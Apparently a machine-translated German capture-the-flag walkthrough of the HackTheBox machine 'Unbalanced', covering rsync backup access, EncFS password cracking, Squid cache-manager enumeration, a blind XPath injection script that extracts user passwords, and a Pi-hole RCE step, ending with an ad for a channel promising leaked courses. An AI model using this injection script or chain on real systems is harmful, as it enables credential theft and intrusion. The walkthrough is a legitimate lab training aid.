
Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .
In diesem Artikel beschäftigen wir uns mit der Sicherung in rsync, erraten das Kennwort für EncFS, arbeiten mit dem Squid-Proxy-Server, nutzen die XPath-Injektion und nutzen RCE in Pi-hole.
Organisationsinformationen
Aufklärung
Dieser Computer hat eine IP-Adresse vom 10.10.10.200, die ich zu / etc / hosts hinzufüge.
10.10.10.200 unbalanced.htb
Der erste Schritt ist das Scannen offener Ports. Ich mache dies mit dem folgenden Skript, das ein Argument akzeptiert - die Adresse des gescannten Hosts:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Und wir beobachten SSH-, Rsync- und Squid-Proxy-Dienste. Rsync ist ein Programm für UNIX-ähnliche Systeme, das Dateien und Verzeichnisse an zwei Speicherorten synchronisiert und gleichzeitig den Datenverkehr minimiert. Rsync kann den Inhalt eines Verzeichnisses kopieren oder anzeigen und Dateien kopieren, optional mithilfe von Komprimierung und Rekursion.
Sehen wir uns die Liste der verfügbaren Module an.
rsync --list-only rsync://unbalanced.htb:873
Kopieren Sie conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups
Durch das Vorhandensein der Datei .encfs6.xml verstehen wir, dass dies ein EncFS-verschlüsseltes Volume ist. Lassen Sie uns einen Hash des Passworts bekommen.
Und lassen Sie es uns klären.
Somit erhalten wir das Passwort, mit dem die Verschlüsselung durchgeführt wurde. Es bleibt, um die Partition zu mounten.
Und wir bekommen eine normale Liste von Dateien.
Dies sind hauptsächlich Konfigurationsdateien, und wir sind am meisten an squid.conf interessiert. Sehen wir uns alle unkommentierten Zeilen an.
cat squid.conf | grep -v '^#' | uniq
Wir speichern das Passwort und markieren den neuen Domainnamen, den wir zu / etc / hosts hinzufügen. Wir schauen uns auch die ACLs an.
10.10.10.200 intranet.unbalanced.htb
Installieren Sie einen Proxy in Ihrem Browser und verwenden Sie den gefundenen Domainnamen, um den Webserver zu kontaktieren.
Wir werden von einem Autorisierungsformular begrüßt. Nachdem sie einige Zeit mit ihr verbracht hatte, wurde beschlossen, weiter mit Tintenfisch zu arbeiten.
Einstiegspunkt
Werfen wir einen Blick auf die verfügbaren Optionen.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'
Und wir können mehr Domainnamen finden.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache
Und es gibt noch drei Namen. Wir fügen sie zu / etc / hosts hinzu (letzteres wurde logisch ausgewählt).
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb 172.31.179.1 intranet.unbalanced.htb
Und zuerst sehen wir, dass diese Seite eine vorübergehende Lösung ist.
Dann kommen wir zum gleichen Autorisierungsformular.
NUTZER
Wir testen es erneut und erhalten eine Antwort auf die Anfrage 'oder' '='.
Und wir bekommen eine Liste von Benutzern. Dies ist eine XPath-Injektion. Tatsache ist, dass wir mit Hilfe bestimmter Abfragen Benutzerkennwörter für Vornamen herausfinden können.
Zunächst können Sie die Länge des Kennworts mithilfe der Funktion für die Länge der Zeichenfolge bestimmen. Testen beim Anmelden. Wir wissen, dass die richtige Länge 5 ist, versuchen Sie die Bedingung mit 4 und mit 5 und sehen Sie den Unterschied.
Der Unterschied ist sichtbar. Nachdem wir die Länge bestimmt haben, können wir das Passwort zeichenweise abrufen. Wir testen auch den Login. Nehmen Sie den ersten Buchstaben und vergleichen Sie ihn mit 'a' und dann mit 'b'.
Der Unterschied ist auch sichtbar. Schreiben wir einen Code, der alle Passwörter für jedes Login auf ähnliche Weise sortiert.
import requests
import string
url = 'http://172.31.179.1/intranet.php'
proxies = {'http':'http://10.10.10.200:3128'}
users = ['bryan','sarah', 'jim', 'rita']
pass_str_len = "' or Username='USER' and string-length(Password)='"
pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"
for user in users:
for l in range(1,25):
data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")
if 'Invalid credentials.' not in request.text:
passwd = ''
for num in range(l):
for c in string.printable[:94]:
data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }
request = requests.post(url=url, data=data, proxies=proxies)
print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')
if 'Invalid credentials.' not in request.text:
passwd += c
break
print(user +" : "+ passwd + " "*10)
break
Und der erste Benutzer hat SSH-Zugriff mit dem gefundenen Passwort.
WURZEL
Suchen Sie die TODO-Liste im Home-Verzeichnis des Benutzers.
Und wir können sehen, dass die Aufgaben im Zusammenhang mit Pi-hole (Passwort-Administrator) noch nicht abgeschlossen sind. Die offenen Ports konnten jedoch nicht angezeigt werden, da netstat fehlt. Dann können Sie dieses Skript verwenden .
Die Ports 8080 und 5553 sind geöffnet.
In der Antwort finden wir eine andere Domain und die entsprechende IP. Lassen Sie uns den Port fallen und durch den Browser gehen.
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb
Gehen Sie zur Seite und melden Sie sich mit dem Passwort admin an. Ganz unten sehen wir die Version.
Mal sehen, Exploits.
Lassen Sie uns den Listener starten und den Exploit ausführen.
Schauen wir uns die Stammdateien an und finden das in der TODO-Liste erwähnte Skript.
Es enthält ein Passwort.
Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, Berichte, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.